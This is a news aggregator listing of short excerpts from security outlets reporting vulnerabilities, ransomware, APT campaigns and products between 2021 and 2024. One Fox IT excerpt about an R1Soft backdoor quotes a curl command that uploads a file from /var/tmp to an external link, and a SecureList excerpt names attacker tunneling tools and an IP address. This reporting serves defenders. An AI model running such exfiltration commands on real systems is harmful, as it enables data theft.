Security Affairs

DECEMBER 3, 2023

Zyxel addressed tens of vulnerabilities that expose users to cyber attacks, including command injection and authentication bypass. The addressed issues are tracked as CVE-2023-35136 , CVE-2023-35139 , CVE-2023-37925 , CVE-2023-37926 , CVE-2023-4397 , CVE-2023-4398 , CVE-2023-5650 , CVE-2023-5797 , CVE-2023-5960.

Firewall 106

Firewall Authentication VPN Cyber Attacks 106

Security Affairs

JANUARY 21, 2023

Researchers warn of about 19,500 end-of-life Cisco VPN routers on the Internet that are exposed to the recently disclosed RCE exploit chain. Cisco recently warned of a critical vulnerability , tracked as CVE-2023-20025 (CVSS score of 9.0), that impacts small business RV016, RV042, RV042G, and RV082 routers.

Hacking 97

Hacking Small Business VPN Internet 97

Security Affairs

JANUARY 17, 2024

Citrix warns customers to install security updates to address two actively exploited zero-day vulnerabilities, tracked as CVE-2023-6548 and CVE-2023-6549, impacting Netscaler ADC and Gateway appliances. The vulnerability CVE-2023-6548 is an authenticated (low privileged) remote code execution affecting Management Interface.

VPN 108

VPN Software Authentication Internet 108

Malwarebytes

JANUARY 19, 2024

Normally, the Directive requires those agencies to remediate internet-facing vulnerabilities on its catalog within 15 days, and all others within 25 days. Customers using Citrix-managed cloud services or Citrix-managed Adaptive Authentication are not impacted. VPN, ICA Proxy, CVPN, RDP Proxy) or as a AAA virtual server.

Authentication 101

Authentication VPN Internet Internet 101

Security Affairs

JANUARY 18, 2024

CVE-2023-6548 – Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability. CVE-2023-6549 – Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability. The vulnerability CVE-2023-6548 is an authenticated (low privileged) remote code execution affecting Management Interface.

Authentication 116

Authentication VPN Software Engineering 116

Security Affairs

JANUARY 13, 2024

Akira ransomware targets Finnish organizations GitLab fixed a critical zero-click account hijacking flaw Juniper Networks fixed a critical RCE bug in its firewalls and switches Vast Voter Data Leaks Cast Shadow Over Indonesia ’s 2024 Presidential Election Researchers created a PoC for Apache OFBiz flaw CVE-2023-51467 Team Liquid’s wiki leak exposes (..)

VPN 108

VPN Cybercrime Ransomware Hacking 108

Security Affairs

MAY 1, 2024

A new malware named Cuttlefish targets enterprise-grade and small office/home office (SOHO) routers to harvest public cloud authentication data. The malware creates a proxy or VPN tunnel on the compromised router to exfiltrate data, and then uses stolen credentials to access targeted resources. ” concludes the report.

Malware 103

Malware DNS Authentication Telecommunications 103

SecureList

NOVEMBER 23, 2023

In our previous summary of consumer predictions , we delved into tactics that we expected scammers and cybercriminals to use in 2023. Despite the fact that our predictions regarding Metaverse did not fully materialize in 2023, we reiterate what we said earlier, as we consider this a long-term trend.

VPN 105

VPN Scams Education Internet 105

Security Affairs

OCTOBER 17, 2023

Russia-linked APT group Sandworm has hacked eleven telecommunication service providers in Ukraine between since May 2023. The Russia-linked APT group Sandworm (UAC-0165) has compromised eleven telecommunication service providers in Ukraine between May and September 2023, reported the Ukraine’s Computer Emergency Response Team (CERT-UA).

Telecommunications 107

Telecommunications Authentication Data collection Passwords 107

NopSec

DECEMBER 1, 2023

Wipe the gravy off your face, roll up your sleeves, and drop to a command line as we cover the trending CVEs for November 2023. Citrix Bleed CVE-2023-4966 Citrix Bleed is an information disclosure vulnerability that impacts Citrix NetScaler ADC and NetScaler Gateway. This basically results in authentication bypass. before 5.18.3

Authentication 59

Authentication VPN Internet Internet 59

SecureList

MAY 28, 2024

In 2023, trusted relationship cyberattacks ranked among the top three most frequently used attack vectors. According to 2023 statistics , only one in four affected organizations identified an incident as a result of detecting suspicious activity (launch of hacker tools, malware, network scanners, etc.)

VPN 89

VPN Accountability Passwords Antivirus 89

SecureList

SEPTEMBER 21, 2023

We conducted an analysis of the IoT threat landscape for 2023, as well as the products and services offered on the dark web related to hacking connected devices. In the first half of 2023, 97.91% of password brute-force attempts registered by our honeypots targeted Telnet, and only 2.09%, SSH.

IoT 101

IoT DDOS Passwords Malware 101

eSecurity Planet

APRIL 15, 2024

Threats range from severe weaknesses in Ivanti’s VPN appliances to zero-day exploits in popular software such as Palo Alto Networks’ PAN-OS and Telegram’s Windows client. You can strengthen your cybersecurity defenses by using reliable antivirus software, firewalls, intrusion detection systems, and virtual private networks (VPNs).

Firewall 109

Firewall VPN Software Risk 109

Malwarebytes

NOVEMBER 24, 2023

Known ransomware attacks by ransomware group, October 2023 Mandiant states it is currently tracking four distinct uncategorized groups involved in exploiting this vulnerability. The CVE for the vulnerability known as Citrix Bleed is CVE-2023-4966 ( CVSS score 9.4 out of 10). NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15

Government 106

Government Ransomware Backups Software 106

eSecurity Planet

JANUARY 22, 2024

The vulnerability also exists on GitHub Enterprise Server, but it can only be exploited by an authenticated user with an organization owner role. The authenticated user must also be logged into an account on an instance of GHES. Affected keys included some encryption keys and the GitHub commit signing key. and later releases of 13.1

Authentication 113

Authentication Malware VPN Mobile 113

Malwarebytes

OCTOBER 24, 2022

Cisco has published a security advisory for a vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) that could allow an authenticated, remote attacker to read and delete files on an affected device. in January, 2023. The bug, with a CVSS score of 7.1 has no patch and no workaround.

VPN 79

VPN Authentication Engineering Internet 79

eSecurity Planet

MARCH 16, 2023

Microsoft’s Patch Tuesday for March 2023 includes patches for more than 70 vulnerabilities, including zero-day flaws in Outlook and in Windows SmartScreen. Critical Outlook Zero-Day The Outlook zero-day, CVE-2023-23397 , with a critical CVSS score of 9.8, is being actively exploited.

Energy and Utilities 98

Energy and Utilities Authentication Firewall Engineering 98

Security Affairs

MARCH 21, 2023

The hackers were also able to turn off the two-factor authentication (2FA). On March 17-18th, 2023, GENERAL BYTES experienced a security incident. “Please keep your CAS behind a firewall and VPN. Terminals should also connect to CAS via VPN.

Cryptocurrency 81

Cryptocurrency VPN Manufacturing Firewall 81

SecureList

APRIL 22, 2024

Diagram of SSH tunnel creation SoftEther VPN The next tool that the attackers used for tunneling was the server utility (VPN Server) from the SoftEther VPN package. To launch the VPN server, the attackers used the following files: vpnserver_x64.exe IP Country + ASN Net name Net Description Address Email 103.27.202[.]85

VPN 122

VPN Passwords Encryption Malware 122

Malwarebytes

AUGUST 16, 2023

The scripts are placed on internet-facing servers and devices so they can be reached remotely. The CVE that the cybercriminals used to plant the backdoor is listed as: CVE-2023-3519 ( CVSS score 9.8 On August 10, 2023, the DIVD started reaching out to organizations affected by the web shell.

VPN 91

VPN Backups Accountability Authentication 91

eSecurity Planet

JANUARY 16, 2024

The problem: Ivanti announced two vulnerabilities that affect Ivanti Connect Secure VPN and Ivanti Policy Secure products. Potential results of the exploits include authentication bypass and command injection. The vulnerability can be tracked as CVE-2023-29357. versions earlier than 21.2R3-S7 Junos OS 21.3 Versions 9.x

Firewall 109

Firewall Firmware IoT Authentication 109

eSecurity Planet

SEPTEMBER 11, 2023

Network security is another big theme this week: Whether it’s a VPN connection or an enterprise-grade networking platform, patch management solutions typically won’t update network devices, so admins may need to keep an eye on any flaws there too. of the Atlas VPN Linux client. via port 8076. score of 9.8 out of 10.0,

VPN 113

VPN Firmware Authentication Phishing 113

The Last Watchdog

MAY 14, 2021

Early SD-WAN solutions “were built only to replace an MPLS-VPN with an Internet-based VPN,” Ahuja says. All of these tools became extremely necessary to ensure that you could authenticate the user before allowing them access to the right resources in the network,” Ahuja says. Identity is vital.

Firewall 138

Firewall Mobile VPN Digital transformation 138

eSecurity Planet

APRIL 14, 2023

Features Automated threat responses to indicators of compromise Centralized visibility and policy management of all endpoints — workstations, laptops, and internet of things (IoT) devices Bidirectional third party integration to improve security and auditing Firewalls: Checkpoint, Fortinet, Juniper, Palo Alto Networks, etc.

IoT 98

IoT VPN Firewall Authentication 98

Fox IT

FEBRUARY 22, 2023

On 9 January 2023, we identified a total of 286 servers running R1Soft server software with a specific backdoor. Fox-IT informed the Dutch NCSC to coordinate the sharing of this knowledge towards the relevant national CERTs on 12 January 2023. curl [link] -F "file=@/var/tmp/[REDACTED].txt"

Backups 69

Backups Software Authentication Internet 69

Security Boulevard

FEBRUARY 2, 2024

Introduction Ivanti, an IT management and security company, has issued a warning about multiple zero-day vulnerabilities in its VPN products exploited by Chinese state-backed hackers since December 2023. to gain access to ICS VPN appliances. to gain access to ICS VPN appliances.

VPN 62

VPN Risk Architecture Firewall 62

SiteLock

FEBRUARY 15, 2022

According to the International Data Corporation, by 2025 nearly 56 billion devices will be connected to the internet throughout the world. million in 2023. Secure Socket Layer (SSL): This security protocol provides privacy, authentication, and integrity to all network communications. million in 2018 to 15.4

DDOS 59

DDOS Backups Education Malware 59

SecureWorld News

OCTOBER 30, 2023

When it comes to impactful types of internet-borne crime, phishing is the name of the game. According to Verizon's 2023 Data Breach Investigations Report (DBIR), a whopping 74% of breaches involve a human element, which is exactly what phishing aims to exploit. And for good reason.

Phishing 98

Phishing Scams Passwords Wireless 98

NopSec

FEBRUARY 12, 2024

Based on a May 2023 report from The Hacker News , this hacking crew managed to establish a persistent foothold into critical infrastructure organizations in the U.S. This is a critical authentication bypass flaw with resultant remote code execution.

VPN 52

VPN Hacking Cyber threats Authentication 52

eSecurity Planet

APRIL 17, 2023

The latest version of MetaAccess solution extends network access control to cover software-as-a-service (SaaS), cloud resources, and a wide variety of “headless devices” such as internet of things (IoT), operations technology (OT), industrial control systems (ICS), medical devices, and industrial IoT (IIoT).

IoT 98

IoT Wireless Malware Authentication 98

Cisco Security

AUGUST 28, 2023

XDR (eXtended Detection and Response) Integrations At Black Hat USA 2023, Cisco Secure was the official Mobile Device Management, DNS (Domain Name Service) and Malware Analysis Provider. We appreciate alphaMountain.ai , Pulsedive and Recorded Future donating full licenses to the Black Hat USA 2023 NOC. Hunter summer camp is back.

Wireless 60

Wireless DNS Mobile Technology 60

eSecurity Planet

SEPTEMBER 25, 2023

Founded in 2004, Cloudflare initially wanted to determine the source of email spam and became dedicated to building a better, more secure internet. Customers on this tier will receive Logpush to security incident and event management (SIEM) tools or cloud storage and certificate-based mTLS Authentication for internet of things (IoT) devices.

DNS 98

DNS DDOS IoT Firewall 98

Security Affairs

FEBRUARY 4, 2024

Clorox estimates the costs of the August cyberattack will exceed $49 Million Mastodon fixed a flaw that can allow the takeover of any account Iranian hackers breached Albania’s Institute of Statistics (INSTAT) Operation Synergia led to the arrest of 31 individuals Ex CIA employee Joshua Adam Schulte sentenced to 40 years in prison Cloudflare breached (..)

Identity Theft 107

Identity Theft VPN Malware Ransomware 107

Security Affairs

FEBRUARY 12, 2024

Cybersecurity researchers from Kookmin University and the Korea Internet and Security Agency (KISA) discovered an implementation vulnerability in the source code of the Rhysida ransomware. “This study examines Rhysida ransomware, which caused significant damage in the second half of 2023, and proposes a decryption method.

Ransomware 116

Ransomware Encryption VPN Manufacturing 116

eSecurity Planet

SEPTEMBER 26, 2023

Prisma SASE Palo Alto’s Prisma SASE solution is the only company recognized as a Leader in Gartner’s 2023 Magic Quadrant for Single-Vendor SASE. Subscribe The post Palo Alto Prisma SASE Review & Features 2023 appeared first on eSecurity Planet. The company trades publicly on the NASDAQ stock exchange under the symbol “PANW.”

Artificial Intelligence 52

Artificial Intelligence Marketing DNS IoT 52

eSecurity Planet

MARCH 14, 2023

When the internet arrived, the network added a firewall to protect networks and users as they connected to the world wide web. The internet of things (IoT), operations technology (OT), and the industrial internet of things (IIoT) also now connect to networks. In a complex, modern network, this assumption falls apart.

Network Security 98

Network Security Firewall Penetration Testing Encryption 98

Security Affairs

AUGUST 27, 2023

million in critical infrastructure cyber projects via new program Ivanti Ships Urgent Patch for API Authentication Bypass Vulnerability Defense contractor Belcan leaks admin password with a list of flaws Leaseweb is restoring ‘critical’ systems after security breach Microsoft is now a cybersecurity titan.

Hacking 80

Hacking Cybercrime Cryptocurrency Ransomware 80